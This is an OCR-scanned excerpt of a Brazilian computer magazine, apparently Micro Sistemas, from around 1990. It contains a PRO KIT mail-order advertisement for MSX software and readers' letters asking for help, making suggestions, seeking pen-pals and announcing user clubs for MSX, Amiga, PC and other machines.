se oferece 10 mH títulos diferentes ao mer¬ 
cado. 

Em segundo lugar, a PRO KIT não con¬ 
sidera o consumidor como "freguês" mas 
sim como CLIENTE. Você pode achar que 
isso é apenas um jogo de palavras mas 
o atendimento para CLIENTES é muito 
diferente. 

Em terceiro lugar, os programas da PRO 
KIT não param de evoluir. Não existe um 
só produto no mercado de MSX que te¬ 
nha um histórico evolutivo semelhante ao 
GRAPHOS III. Isto significa respeito ao 
usuário. 

E por fim, poderíamos falar também da 
qualidade dos nossos produtos, mas isso 
nós deixamos para você conferir pes¬ 
soalmente. 

COMO FAZER SEU PEDIDO: 

Marque os programas que deseja re¬ 

ceber em sua casa e preencha o 

cupom abaixo. Anexe um cheque nominal à PRO KIT Informática e Editora Ltda, no 

valor total do pedido, e envie para a Caixa Postal 108.046, Cep 24120, Niterói - RJ. Seu 
pedido será prontamente atendido. 

Sim, desejo receber os produtos as¬ 

sinalados, pelos quais pagarei a 

Nome: 

Endereço: 

em cheque nominal à PRO KIT In¬ 
formática e Editora Ltda. Cidade: HF- 

(Cheque n° Cep: 

554 354 Preço 

□ □ GRAPHOS III - editor gráfico. CrS 4.000,00 

□ □ GRAPHOS PRO - editor gráfico profissional.... CrS 9.500,00 

□ □ MÓDULO TELAS - editor de telas.CrS 6.600,00 

□ □ MÓDULO LETRAS - editor de letras/shapes .... CrS 6.600,00 

□ □ MÓDULO PRINTER - tabelas e impressor.CrS 6.600,00 

□ □ Alfabetos 1 - banco de letras. CrS 1.380,00 

□ □ Telas 1 - banco de telas.CrS 1.380,00 

□ □ Shapes 1 - banco de figuras.CrS 1.380,00 

□ □ Pacote 1 - tabelas, shapes e letras.CrS 1.380,00 

□ □ PRO KIT zapper - editor de discos.CrS 4.200,00 

□ □ PRO KIT scanner - capturador de figuras.CrS 4.200,00 

□ □ PRO KIT files - gerenciador de discos.CrS 4.200,00 

□ □ PRO KIT rot-ll - utilitário p/módulos. CrS 4.200,00 

□ □ PRO KIT format - formatador especial.CrS 4.200,00 

□ □ PRO KIT topview - editor de animações. CrS 4.200,00 

□ □ EDITOR 3.4 - editor de adventures.CrS 7.360,00 

□ □ AMAZÔNIA - o mais famoso adventure.CrS 2.800,00 

□ □ SERRA PELADA - a mais divertida aventura .. CrS 2.800,00 

□ □ Digital BOOK 1 - o livro eletrônico. CrS 2.000,00 

ATENÇAO: Os programas da série PRO KIT e os adventures são compatíveis com o padrão MSX 

de acesso ao drive por portas (interfaces Microsol, TPX, DMX e Expandi. Estão fora desse padrão 

e portanto não funcionarão perfeitamente nas seguintes interfaces: DDX 2.0, SHARP, LEOPARD 
e EXPERT DDPLUS. 

NOVIDADE PARA IBM PC: 

□ □ PRO KIT topline - editor de fontes assembler CrS 6.500,00 



Ms Responde 

CARTAS 

□ Venho pedir algumas informações 
complementares a respeito do artigo in¬ 
titulado ‘Digitalização de Imagens1 de au¬ 
toria de Miguel Angelo Clemente, pois 
montei o projeto em proto-board mas o 
mesmo não funcionou. 
1 - Haveria alguma errata publicada em 
revistas posteriores? 
2 - Na linha 240 do programa principal 
em Basic há a instrução ‘VIEW1 que pro¬ 
voca erro de sintaxe no programa. 
3 - Ao rodar o programa não ocorre a di¬ 
gitalização e o programa trava o compu¬ 
tador. 
4 - Haveria alguma possibilidade de usar 
as imagens digitalizadas com o programa 
Ventura Publisher? 
5 - Haveria alguma possibilidade de eu 
entrar em contato direto com o autor do 
artigo para melhor esclarecer as dúvidaS? 
Marco Antônio Pinto - R.Helium, 240 
- Boio Horizonte - MG - 31130 

Caro Marco Antônio, 
Com referência aos itens 1,2 e 3 de 

sua carta, veja em MICRO SISTEMAS nú¬ 
mero 97, página 20, a seção Tira Telma 
Onde foi publicada a correção da matéria 

■Digitalização de Imagens1. 
Quanto ao Item 4, a resposta é afir¬ 

mativa. 
No que diz respeito ao Item 5, não for¬ 

necemos endereço ou telefone dos cola¬ 
boradores, a pedido dos mesmos. Escreva 
à redação de MICRO SISTEMAS expondo 
suas dúvidas e informando seu nome, en¬ 
dereço e telefone, que sua carta será en¬ 
caminhada au autor da matéria. 

□ Gostaria de saber, detalhadamente, 
como fazer para publicar os meus progra¬ 
mas em MICRO SISTEMAS. Estou adoran 
do a revista e a compro todos os meses. 
Luiz Katsuya Ono - R.Profa. Maria BI- 
tencourt, 83 - São Paulo - SP - 04405 

□ Quando comprei a MICRO SISTEMAS 
número 95, vi o anúncio onde a MS se pro¬ 
pôs a publicar programas que lhe fossem 
enviados. Possuo dois programas, mas 
ainda não enviei o disquete pois 
gostaria de obter maiores informações a 
respeito da publicação. 
Fabiano Marins de 0. Santos - Av. D. 
João VI, 205/203 - Salvador - BA 
-41940 

Caros Luiz e Fabiano, 
Vejam em MS 99 as novas explicações 

do anúncio MICRO SISTEMAS PROCURA 
NOVOS TALENTOS. 

Basta seguir as Instruções contidas 
nos REQUISITOS INDISPENSÁVEIS (finai da 
página) que o envio de seus trabalhos 
será feito corretamente. 

□ LI o artigo ‘Imagens Coloridas no 
PC‘, da revista MICRO SISTEMAS 96, e 
gostaria de ligar o meu micro em uma TV 
colorida que possuo, já que o preço de 
um monitor colorido é muito alto ainda. 
Em vista desta possibilidade, peço se 
possível, que MS me informe como con¬ 
tatar a Fhesk Tecnologia Eletrônica Ltda, 
para conseguir a placa ATV. 
Luiz Benedete de Freitas - R. 3B, 61 
-Rio Claro - SP - 13500 

Caro Luiz, 
Não só você, mas inúmeros leitores, 

nos procuraram para saber o endereço da 
Fhesk, por isso o publicamos a seguir: 
- Fhesk Tecnologia Eletrônica Ltda - R. Jú¬ 
lio Reis, 548 - São Gonçalo - RJ 
-CEP-.24515 - TEL:(021)712-8034 

Alô Alô 

□ Gostaria de receber informações sobre 
alguns lançamentos para a linha Apple de 
que tomei conhecimento lendo um infor¬ 
mativo destinado a usuários: interface 
para usar drive de PC, drive de 3.5‘ e win- 
chesters. Aparentemente, firmas nacionais 
já produzem (ou pretendem produzir) es¬ 
tes periféricos. Gostaria de saber quais. 
João Paulo H. C. de Andrade - QL, C3, 
J.América III - Olho D’Água - São Luis 
- MA - 65000 

□ Sou técnico em Eletrônica Digital e 
gostaria de entrar em contato com em¬ 
presas brasileiras que vendem programas 
originais sobre Engenharia Eletrônica e 
Telecomunicações em disquetes compa¬ 
tíveis com o Itautec e o Amiga. 

Também gostaria de entrar em contato 
com a Universidade de São Paulo, com a 
Scopus Informática, e com empresas e 
lojas que vendem programas musicais 
sintetizados para linha Gradiente (Expert 
DD Plus) e itautec. 

Jair Santana Silva - Av.Barral, 269 - 
Salvador - BA - 40250 

□ Li uma nota sobre a courseware da 
IBM, o ABC do Lotus 1-2-3, e gostaria de 
saber onde adquiri-lo, se a firma o despa¬ 
cha para todo o Brasil e a que preço. Cur 
so o integrado e queria ter mais infor¬ 
mações sobre a planilha. 
Francisco de Assis Prates - R. Prefeito 
Antenor Buê, 380/22 - Santos - SP 
-11040 

□ Sou programador autônomo de micro¬ 
computadores IBM PC, linguagens dBase 
III Plus e Clipper, e gostaria de saber on 
de poderia adquirir disquetes indústriais 
para distribuir meus próprios aplicativos. 

Gostaria também de saber onde posso 
obter o ‘Manual de Referência Técnica do 
IBM PC‘ e o ‘Manual de Referência do 
Programador do DOS 4.01‘. 
Paulo Y. Horanaka - Caixa Postal 
12896 - São Paulo - SP - 04092 

□ Sou estudante de processamento de 
dados e usuário de IBM PC e venho re 
clamar das dificuldades que têm os estu¬ 
dantes para adquirir softwares de apren¬ 
dizado. Não desejo estimular a pirataria, 
mesmo porque uma equipe que gasta mi¬ 
lhares de dólares e meses de trabalho 
para desenvolver um software merece ter 
seus direitos respeitados. Sou contra a 
cópia ilegai de programas por parte das 
empresas, mas acho que os estudantes 
deveriam ter direitos a uma cópia de de¬ 
monstração. 

Sou programador dBase III e tive a 
chance de aprender a usá-lo em uma 
empresa, com programas originais, mas 
outros podem não ter a mesma chance 
que eu tive, por isso gostaria de saber 
se existe algum serviço desse tipo, por 
parte de softhouses ou outras institui¬ 
ções. 
Oduvaldo Mazza Junior - Rua Cavaíbas, 
505 - Bairro Pompéia - São Paulo - SP 
- 05020 
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Painel 

□ Se você é analista de sistemas, admi¬ 
nistrador de empresas ou programa em 
Turbo Pascal 4.0 e 5.5 e Turbo C; se tem 
conhecimentos de sistemas multiusuários 
e pretende formar uma empresa de desen¬ 
volvimento de sistemas, junte-se a nós. 
Carllnhos e Lauro - Tel:570-2785 ra¬ 
mal 24. 

□ Possuo um CP 500 e, no Brasil, não 
existem muitos clubes para essa linha, por 
Isso peço que outros usuários do CP 500 
me indiquem clubes confiáveis aos quais 
eu possa me dirigir. 

Ouvi falar muito bem de um certo Gar- 
fleld Club, será mesmo bom? E, se afir¬ 
mativo, qual o endereço do mesmo? 
Milton da Silva - Banco Mercantil - Cen¬ 
tro - Caixa Postal 141 - Bento Gonçal¬ 
ves - RS - 95700 

□ Possuo um CP 500 M8Q//C, e estou pro¬ 
curando o compilador Basic (Bascom) para 
CP/M. Quem o possuir favor entrar em con¬ 
tato comigo. 
Cid Campos - R.Uruguai, 1300/602 
-Itajaí • SC - 88300 

□ Possuo um Amiga 500 e gostaria de 
trocar informações e programas sobre este 
computador. Peço aos usuários o favor de 
remeterem uma lista de seus programas. 
Munif Gebara Jr. - Caixa Postal 661 
-Maringá - PR - 87100 

□ Possuo um TK3000 lie e estou preten¬ 
dendo comprar um Macintosh. Mas como 
não o conheço bem peço informações so¬ 
bre o mesma 
Paulo José C. R. Dias da Silva - R.Sá 
Ferreira, 189 - Rio de Janeiro - RJ 
-22071 

□ Possuo um Expert 1.1, um datacorder 
Gradiente, um drive Racidata dupla face 
5 1/4; Monitor MBW/12 e estou interessado 
na troca de informações na área de apli¬ 
cativos e periféricos. Também estou que¬ 
rendo esquema do Expansor de Slot. Te¬ 
nho esquema completo do MSX 1.1 e 
Monitor BMW 12. Possuo vários livros de 
programas e de Eletrônica. Também me 
interesso por esquema de drive dupla face. 
José Afonso Alves - R.Guaratuba, 202 
- Campo Grande - MS - 79085 

□ Estou adquirindo um computador de 
bolso da Casio, o FS 9000 e decidi escre¬ 
ver a MS para ver se alguém pode me dar 
informações sobre os micros da Casio, es¬ 

pecialmente sobre o FS 9000. Onde posso 
conseguir programas aplicativos, livros e 
maiores detalhes sobre este computador. 
Gilberto Gomes Scalon - R.General Ca- 
nabarro, 484 • Santiago - RS - 97700 

□ Gostaria de trocar programas, manuais, 
dicas e mapas com usuários do micro 
TK95 e compatíveis. 
Nilsson Fernandes - R.AIto Garças, 274 
• São Paulo - SP - 03546. 

□ Sou um usuário do micro Amiga e gos¬ 
taria de entrar em contato com outros 
usuários para a troca de programas Gogos 
e aplicativos) desta fabulosa máquina. 
Silvio Luiz Evangelista - Av. Dr. Jam¬ 
beiro Costa 881 - Leme - SP - 13610. 

□ Gostaria de obter a senha do jogo Tar¬ 
taruga Ninja, jogo para computadores da 
linha PC. Aproveito a oportunidade para 
avisar aos usuários de PC, que entrem em 
contato comigq para a troca de idéias, di¬ 
cas, macetes, e principalmente programas, 
jogos ou utilitários. Ficaria grato se envias¬ 
sem a listagem de seus programas. Res¬ 
ponderei a todas as cartas. 
Marcelo Reis - R.Tenente Mário Bar- 
bedo, 559 - Parque Edu Chaves - São 
Paulo - SP - 02233 

□ Sou usuário de um Commodore Amiga 
500, com drive de 5 l/4‘, mouse e televisão 
colorida adaptada para padrão RGB. Gos¬ 
taria de trocar softwares, dados técnicos 
e dicas. Ficaria feliz se alguém pudesse 
me fornecer informações sobre os progra¬ 
mas Sonix v. 2.5, Digipaint 3.0, Deluxe 
Paint III, Amiga Transformer, Sculpt 3D e 
Fantavision. 
Carlos Yuiti Tsujimoto - R.Afonso Celso, 
85/101 - Salvador - BA - 40160 

□ Possuo um MSX Expert 1.1, com drive, 
monitor, gravador e impressora, e gosta¬ 
ria de me corresponder com alguém que 
possua o mesmo equipamento para tro¬ 
car jogos, utilitários, aplicativos, dicas, etc. 
Rodrigo C. Gunther • R .Santos Dumont, 
429 - União da Vitória - PR - 84600 

□ Sou usuário de um micro CP-500 
M80c, possuo cerca de 60 disquetes e 
gostaria de trocar aplicativos, e principal¬ 
mente jogos de adventure, com usuários 
desta linha ou compatíveis. 
Marcos Luiz dos Santos - Av.Pascoal 
Celestino Soares, 228 - Vila Industrial 
- Campinas - SP - 13033 

□ Possuo um micro IBM PC/XT e gosta¬ 
ria de me corresponder com usuários 
desta linha para troca de idéias, progra¬ 
mas e jogos. 
Emerson Berg Jorge Pereira -R.OIegário 
Maciel 1932/101 - Juiz de Fóra - MG 
- 36015 

□ Tenho um Amiga 2000HD, com Hard 
Disk de 40Mb, drive de 3 1/2' de 880 e 
monitor colorido com saída de som ste- 
reo e Impressora colorida Citizen 200GX. 
Gostaria, se possível, de receber maiores 
informações sobre software (principal¬ 
mente na área gráfica e de som), literatura 
disponível nesta mesma área e, principal¬ 
mente, saber como tirar o maior proveito 
das qualidades deste computador. 
Juliandro Bordignon - R.Angelo Mis¬ 
tura, 15/101 - Marau - RS - 99150 

□ Possuo um micro da linha MSX (Hotbit 
1.1) que uso em casa para fins pessoais 
e desenvolvimento de aplicativos. Agora 
estou pretendendo comprar um PC/XT ou 
mesmo um AT até o final do ano, mas gos¬ 
taria de contar com o apoio dos leitores 
de MS ajudando-me a fazer a melhor es¬ 
colha a respeito de teclados, CPU, moni¬ 
tores (RGB) e mouses. Também gostaria 
de me corresponder com usuários de MSX. 
Adilson Bonan - R.Manicore, 8 - Atro¬ 
ar! - UHE Balbina - AM - 69736 

□ Possuo um CP-500 e gostaria que 
usuários do mesmo, que possuam soft¬ 
ware de linguagem de programação, me 
enviem cópias das mesmas e mapa de 
memória de vídeo, RAM, 1/0, BIOS, etc. 
Também vendo placa CP/M 64K. 
Geovanio Pereira de Lima - R.Recieri 
Petri, 43 - Jardim Camanducaia - Am¬ 
paro - SP - 13900 

G Desejo entrar em contato com usuários 
do Amiga para troca de programas. 
Halan L. B. Dias - R. Americana, 9 - São 
Paulo - SP - 08040 

□ Gostaria de me corresponder com 
usuários da MSX 1.1, com drive de l/4‘. 
Dalton Mota Oliveira - Av.Rio Branco, 
2986/03 - Juiz de Fora - MG - 36015 

□ Gostaria de entrar em contato com os 
leitores de MS, que montaram o digitali- 
zador de imagens e obtiveram sucesso, 
para troca de informações 
Raul Nunes de Andrade Jr. - R. 15 de 
novembro, 145 - Três Rios - RJ - 25800 
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CARTAS 
Sugestões 

□ Venho sugerir a MICRO SISTEMAS que, 
para matérias futuras, seja abordado o 
problema da acentuação gráfica de forma 
a compatibilizar plenamente o Wordstar 
com a Lady 80. No meu caso, utilizo o re- 
lease número 4 desse processador de 
texto que, apesar de muito bom, deixa 
bastante a desejar no que se refere à 
acentuação em português. 
Serglo Rodrigues Salgueiro - Piraci¬ 
caba - SP 

□ Trago aqui duas sugestões que, creio, 
muitos outros leitores também apoiarão. 
1) Os softwares da PRO-KIT são exclusi¬ 
vamente para MSX e ficam devendo para 
as outras linhas. Creio que deveriam ser 
desenvolvidos também softs para outras 
linhas, prlncipalmente para os PC e com¬ 
patíveis; 
2) A seção Software, onde se tem uma 
excelente análise do software disponível 
no mercado, deveria indicar nome, ende¬ 
reço e telefone do fabricante ou represen¬ 
tante que comercializa o respectivo soft¬ 
ware aqui no Brasil, pois ao conhecer os 
programas analisados, e pretendermos 
adquirí-los, nos faltam esses dados. 

Gostaria ainda de parabenizar o Rena 
to Degiovani pela brilhante matéria ‘As 
sembler no PC‘, muito bem elaborada e 
de fácil entendimento, deixando a desejar 
apenas na primeira parte, quando ficaram 
pouco claros, para leigos como eu, assun¬ 
tos como flags, registradores..! Sugiro 

uma ‘revisão1 do assunto mais detalhada 
Renato Vilela de Magalhães - Brasília 

- DF 

□ Venho dirigir-lhes um pedido que, es¬ 
pero, tenha boa acolhida: 

Não existiriam condições de serem fei¬ 
tas matérias para nós, pobres usuários, 
que estamos nos iniciando agora no po¬ 
deroso campo da microinformática? As 
matérias de MICRO SISTEMAS me pare¬ 
cem de fácil análise, mas apenas para 
aqueles que tem aprofundados conheci¬ 
mentos de programação. 
Luiz Fabiano Sassi - Brusque - SC 

□ Quero sugerir que MS publique novas 
matérias sobre 'Educação e Informática1, 
pois há tempos não tenho lido nada na 
revista sobre o tema. 
Regiane Macuch é Silva - Curitiba - PR 

□ Venho dar uma sugestão que, creio, se 
for aprovada poderá melhorar as edições 
de MICRO SISTEMAS: por que vocês não 
reservam pelo menos umas três páginas 
da revista para dicas, macetes, mapas de 
algum programa ou jogo? Muitos clubes 
e usuários poderiam ajudar nesta parta 
Nelson Fernandes Leite - Cidade Pa¬ 

triarca - SP 

□ Venho agradecer a qualidade que esta 
revista tem mantido durante anos, mas 
gostaria de sugerir que o Caderno de Jo¬ 

gos voltasse a ser publicado. No entanto, 
para evitar reclamações dos leitores, MS 
dividiria espaço entre: Seção Amiga, 
Seção PC, Seção MSX-TK90X, Zapping, 
Adventure e lançamentos. 
Cláudio Souza Matos - Vitória - ES 

□ Venho trazer uma sugestão para Ml 
CRO SISTEMAS Por que vocês não publi¬ 
cam uma seção de macetes para jogos? 
Gostaria também de solicitar a volta dos 
programas para MSX, pois há duas edi¬ 
ções estes não aparecem. 
Dalton Mota Oliveira - Juiz de Fora - MG 

□ Venho sugerir que Micro Sistemas pu¬ 
blique mais programas para a linha Aml 
ga, que vem crescendo a cada dia no 
Brasil. 

Peço também a volta do Caderno de 
Jogos, que fez um sucesso incrível e a 
tendência era crescer cada vez mais. 

Na minha opinião, o Caderno de Jogos 
foi uma das melhores partes da revista e, 
caso volte, gostaria que não só comen¬ 
tasse jogos, mas explicasse truques e 
apresentasse vidas infinitas. 
Halan Leno Dias - Sio Paulo - SP 

□ Venho sugerir que MS elabore um curso 
sobre linguagem C, com exemplos práti¬ 
cos e explicativos. Seria uma boa, agora 
que a MS está abrindo um bom espaço 
para os micros da linha PC. 
Wagner Batista de Godoi - Limeira - SP 
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Sos 

□ Sou usuário de um MSX Expert 1.1, es¬ 
tou iniciando agora na sua linguagem de 
programação, e tenho um grande pro¬ 
blema: como posso fazer, em Basic, se 
possível, uma matriz de 4X9 (horizontal, 
vertical) blocos gráficos, que representem 
um desenho qualquer (um herói de um 
jogo, por exemplo)? 

Se algun outro usuário puder me aju¬ 
dar, eu agradeço pois estou desesperado. 
Luiz Fabiano Sassi - R.Pedro Warner, 
94/fundos - Brusque - SC - 88350 

□ Possuo um MSX 1.1 equipado com 
uma Megaram 768, 80 colunas CT 80E, 
um drive DMX e um monitor Unitron II, e 
quero aprender a linguagem C, utilizando 
o AZTEC C. Depois de fazer vários cursi- 
nhos, deparei com um programa interes¬ 
sante que me capacitaria, de várias ma¬ 
neiras, a lidar com esta linguagem. 0 
referido programa foi publicado em MS 89 
com o título Telas em C1. 

Digitei o programa no WòrdStar con¬ 
forme a Praxis e tentei compilá-lo várias 
vezes, até que consegui criar o esperado 
.COM. A partir daí não consegui sair desta 
posição por mais que tentasse 0 micro 
congelava neste ponto e então era obri¬ 
gado a dar o boot. 

Tenho o conhecimento de um cartão 
que faz o papel de um relógio mas o texto 
não se referiu a este detalhe 

Gostaria muito de informações suple¬ 
mentares: a)como devo compilar, linkar e 
etc; b)se devo trabalhar por módulos, ou 
se o programa tem duas partes; c)Quais 
as linhas que devo eliminar para o AZTEC 
C; d)se devo compilar o programa em duas 
partes ou separar a primeira parte em sub- 
-módulos. 

Enfim, após várias tentativas e efe¬ 
tuada a compilação completa, na link- 
-edlção, foi requisitada a função MAIN. 

Qualquer esclarecimento ficarei muito 
agradecido. 
Vitor Max Rocha - SQS 409 BI.P 
Apt.l02C - Brasília - DF • 70258 

□ Gostaria de saber se há jeito de fazer 
músicas no CP 400 Color e se existem 
periféricos para o mesma Em caso afir¬ 
mativa ficarei grato se algum leitor de MS 
me informar os tipos e marcas dos peri¬ 
féricos disponíveis. 
Alexandre F. Vieira - R.Betin, 296 -João 
Monlevade - MG - 35930 

□ Possuo equipamento HB8000 da 
Sharp 1.0, drive DDX 720K, datacorder 
HB2400 e impressora 80col Lady 80, da 
Elgin, e estou encontrando dificuldade 
para rodar os programas que adquiro em 
disco. Sempre que chamo o programa 
acusa ferro de disco1. No entanto, com mi¬ 
nhas gravações não acontece o mesmo. 

Procurei uma softhouse onde testaram 
e rodaram os programas mas em drive de 
outra marca. Em outra loja, me informa¬ 
ram que meu drive necessitaria de um 
ajuste na cabeça de leitura/gravação. 

Gostaria que os amigos leitores me aju¬ 
dassem. 0 que fazer? 
Pedro Roberto Falchl - Av. das Amorei¬ 
ras, 2160 - São Bernardo - Campinas 
- SP - 13030 

□ Eu me interessei muito pelo ‘MSX-CAD1, 
publicado no número 95 de MS, e gosta¬ 
ria de saber o que é preciso ser modifi¬ 
cado para que o programa (em Pascal) 
possa ser usado no PC-XT (usando-se o 
Turbo Pascal), se hover possibilidade desse 
projeto ser convertido. 

Também gostaria de saber se existe um 
“Cartão de Referência1 sobre o Norton Uti¬ 
lities 45 ou de seus programas separa¬ 
dos, tais como NDD, NCC, SAFE FORMAT 
RECOVER, etc. Em caso positivo gostaria 
de saber onde e como posso adquirir o 
cartãa 
Marcus Vinícius P. Azevedo - R. 14,25 
- Cabo Frio - RJ - 28900 

□ Sou usuário de um computador S-700, 
compatível com CP/M-80, e estou com o 
seguinte problema: 

Tenho programas em CP/M-80 para a 
linha Apple, só que os mesmos não rodam 
no S-700 por ter formatação diferente Que¬ 
ria saber se é possível transferir arquivos 
no formato Apple para o S-700 ou se há 
algum programa para executar o mesmo. 
Também gostaria de me corresponder com 
usuários do S-700 ou compatíveis com o 
CP/M-80 e saber onde encontrar progra¬ 
mas para o mesmo. 
Carlos Alberto Ferreira - R.Felícia de 
Novais, 137 - Fátima - Itabuna - BA 
-45600 

□ Gostaria de adquirir um Macintosh mas 
não tenho conseguido informações dos re¬ 
vendedores deste produto. Como 
consegui-lo no Brasil? 

Queria saber ainda o seguinte : quais 
as lojas mais indicadas que revendem o 
Mac? Existe algum tipo de compatibilidade 
com o MSX Hotblt? Qual marca de drive 
3 1/21, para MSX, é melhor e com possi¬ 
bilidade de uso em outros computadores, 
como Amiga e PC? Quais os locais mais 
confiáveis para a transformação do MSX 
1.1 para 2.0? 
Andréa M. Santos - R.Siqueira Campos, 
852/91 - Porto Alegre - RS - 90010 

□ Como leitor e assinante de Micro Sis¬ 
temas, gostaria de saber se é possível ex¬ 
plicar a organização dos buffers do disco 
de trabalho, seu tamanho, área do disco 
que ocupa e também se o formato PRO- 
-KIT (PKT) de gravação funciona com as 
rotinas de descompactação publicadas 
em Micro Sistemas. 
Reinaldo Quaresma Azevedo - R.da Li¬ 
berdade 327 - Campo Grande - MS 
-79020 
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CARTAS 

Clube do Usuário 

□ Gostaria de informar aos leitores desta 
tão conceituada revista que o ‘I Concurso 
de Adventures - Space Soft chegou ao fim. 

O grande vencedor foi Alexandre Frare, 
com o adventure ‘O Manto Sagrado*. 

Gostaria também de informar que este, 
bem como os outros adventures de sua 
autoria, estão sendo comercializados atra¬ 
vés do Club Space Soft. 

Parabéns a Alexandre Frare e, por fa¬ 
vor, queira entrar em contato conosco para 
ser informado sobre a premiação. Obrigado 
à revista MICRO SISTEMAS pelo apoio 
dado ao nosso concurso e ao MSX. Con¬ 
tinuem assim. 
Clube Space Soft - Av.Almirante Cóc- 
hrane, 287 - Embaré - Santos - SP 
-11040 

□ Nós ficamos abismados com o incrí¬ 
vel número de cartas recebidas após o 
anúncio do nosso clube de usuários de PC- 
-XT/AT em MICRO SISTEMAS, e queremos 
agradecer aos que escreveram, bem como 
aos editores da MS. Aproveitamos o mo¬ 
mento para avisar novamente aos usuários 
deste equipamento que o PC-Friends con¬ 
tinua a receber novos sócios. 
Clube PC-Friends 
Caixa Postal 139 - Caruaru - PE - CEP 
55100 

□ Estou formando um clube para usuá¬ 
rios da linha MSX, sem fins lucrativos, vi¬ 
sando unicamente a satisfazer os desejos 
dos usuários trocando programas (produ¬ 
zidos ou não pelos futuros sócios), atra¬ 
vés de disquetes fitas K-7 ou listagens, di¬ 
cas (possuo mais de 150 somente para 
jogos) e informações em geral. O acervo 
do clube consta, atualmente, de cerca de 
430 itens. 

Para associar-se mande: nome, ende¬ 
reço, data de nascimento, equipamentos 
de que dispõem e, se possível, um pro¬ 
grama ou dicas/macetes. A resposta po¬ 
derá ser através de disquete 5 ou 25, fita 
K-7 ou listagem, a depender do equipa¬ 
mento do sócio. 
Albino S. Viana - Edf.Santa Elizabeth, 
54/1503 - Campo Grande - Salvador 
-BA - 40000 

□ Estou fundando o Elite Club Computer, 
o clube do TK2000 e do MSX. Os interes¬ 
sados em se associarem mandem nome, 
endereço, aparelho, periféricos, para: 
Elite Club Computer - R.Professor Sar¬ 
mento, 95 - Praia do Suá - Vitória - ES 
- 29000 

□ Possuo um clube para a linha Apple, 
sem fins lucrativos, que está à inteira dis¬ 
posição dos usuários do mesmo que quei¬ 
ram ampliar seus acervos ou simples¬ 
mente esclarecer dúvidas. Os interessados 
devem entrar em contato com: 
Rik&Dac Software - R.Cel.Bordini, 
300/404 - Auxiliadora - Porto Alegre 
- RS - 90420 

□ Estou querendo organizar um clube de 
usuários para a linha Commodore Amiga, 
que não terá nenhuma taxa de inscrição, 
ou qualquer fim lucrativo, pois visará sim¬ 
plesmente a um intercâmbio de progra¬ 
mas, informações técnicas, dicas, etc. 

O clube irá trabalhar da seguinte forma: 
ao enviar um disco contendo um programa 
que não exista em nosso acervo, o sócio 
terá direito a um disco, à sua escolha, de 
nosso acervo de software. No entanto, se 
o sócio não tiver software e quiser adqui¬ 
rir algum, deverá enviar 5 disquetes de 3 
1/2; com direito a receber 4 disquetes com 
programas à sua escolha. 0 quinto dis¬ 
quete ficará como custo “simbólico” pelo 
trabalho de gravação. 
Carlos Yuiti Tsujimoto - Rua Affonso 
Celso, 85 / 101 - Salvador - BA - 
41160 

□ Recentemente foi criado o MSX Bro¬ 
thers Club, cujo objetivo é trocar progra¬ 
mas, manuais, dicas , etc, relativos ao 
MSX. 
MSX Brothers Club A/C Jorge Leite de 
Siqueira - R.Adão Fernandes, 71 - Me¬ 
deiros Neto - BA - 45960 

□ Como programador e diretor do TRS- 
-Club Service, um novo clube de usuários 
TRS, venho informar aos interessados que, 
antes de ser simplesmente um novo clube 
de usuários, o TRS Club prevê a intensiva 
participação de seus associados, já que 
se trata de um clube voltado para a pro¬ 
dução e divulgação de produtos realmente 
nacionais, sejam eles jogos e/ou aplicati¬ 
vos. Além disso, programadores poderão 
trocar experiências usando o clube como 
interface. 

0 TRS-Club presta também os seguin¬ 
tes serviços: venda de sistemas profissio¬ 
nais, como mala direta, contas a 
pagar/receber, controle bancário; desenvol¬ 
vimento de sistemas específicos; venda 
de livros; compra e venda de equipamen¬ 
tos usados; venda de suprimentos; elabo¬ 
ração de um boletim mensal, com rotinas, 
programas, etc. 

Os interessados devem entrar em con¬ 
tato enviando dados completos de equi¬ 
pamento, lista de software e lista de do¬ 
cumentação. 
TRS-Club Service - Rua Recieri Petri, 
43 - Jardim Camanducaia - Amparo -SP 
- 13900 

□ Eu e alguns colegas estamos formando 
um clube para TK2000 Color; MSX e 
Amiga. Para este último, estamos com 
poucos jogos, porém já em desenvolvi¬ 
mento. Para maiores informações escreva 
para: 
Mega Corporation Club - Rua Sagrado 
Coração de Maria, 70 - Vitória - ES 
-29055 

□ Aviso aos leitores da revista MICRO SIS¬ 
TEMAS que foi fundado o Ohms Club Tec- 
nology que visa a troca de informações 
e de tudo relacionado à tecnologia (infor¬ 
mática, eletrônica, etc.) e ainda a troca 
de correspondência entre amigos que têm 
interesses comuns. 

As cartas podem ser enviadas aos 
meus cuidados, no endereço abaixo: 
Luciano H. Trindade - Rua Aristides 
Viadana, 252 / 21 Bloco 4 - São Paulo 
- SP - 05038 

□ Gostaríamos de convidar aos leitores 
da revista MICRO SISTEMAS que possuem 
micros da linha Apple (ou simplesmente 
se interessam por esta máquina) para 
associar-se ao nosso clube, que não visa 
lucros. 

Pretendemos apenas uma maior inte¬ 
gração entre os usuários desses micros, 
trocas de programas, dicas, experiências 
e dúvidas. Futuramente iremos fazer um 
jornalzinho. 
W & W Aplle Club - Rua XV de Noven- 
bro, 827 - Itaqui - RS - 97650 

□ Estou fundando um clube de usuários, 
o CCM, Clube de Correspodência sobre o 
MSX. A filiação é gratuita. Mande seu 
nome, endereço completo e área de inte¬ 
resse. 

O clube possui cadastro de software 
de todos os associados e também de al¬ 
gumas softhouses. Tem ainda serviços es¬ 
peciais para quem não possui impressora, 
para recuperar discos apagados ou com 
problemas de setores, oferece informações 
sobre produtos, tira dúvidas, etc. 
Alexandre Kaplan Moscovici 
Rua das Mangabeiras, 150- Bairro Pa- 
caembu - São Paulo - SP - 01233 



Ms Agradece 

□ Quero inicialmente me congratular 
com MICRO SISTEMAS pelo nível das pu¬ 
blicações apresentadas nos últimos exem¬ 
plares, em especial o de número 97. 

Como usuário de um micro PC fico sa¬ 
tisfeito em ver uma publicação nacional, 
que mesmo mesclando vários ramos da 
microinformática (Apple, MSX e PC), con¬ 
segue este exelente desempenho. 
Johann Huber - Av.Estilac Leal, 
160/34B - Centro - Guarulhos - SP 
-07010 

□ Quero parabenizar MICRO SISTEMAS 
pelo grande sucesso que vem alcançando 
nos últimos anos, por seu alto nível téc¬ 
nico e pelas inovadoras matérias que 
atingem os mais diversificados micros, 
indo do TK85 ao Amiga. 
Halan Dias - R. Americana, 9 - São 
Paulo - SP - 08040 

□ Quero parabenizar MICRO SISTEMAS 
pela matéria do autor Luiz Cressoni Filho, 
publicada no número 98, sobre ‘IN/OUT 
TK95‘. Parabenizo também a ATI Editora 
por produzir uma revista especializada em 
informática, que abre espaço para todos 
os micros nacionais, o que deve ser tra¬ 
balho difícil, já que existem várias marcas 
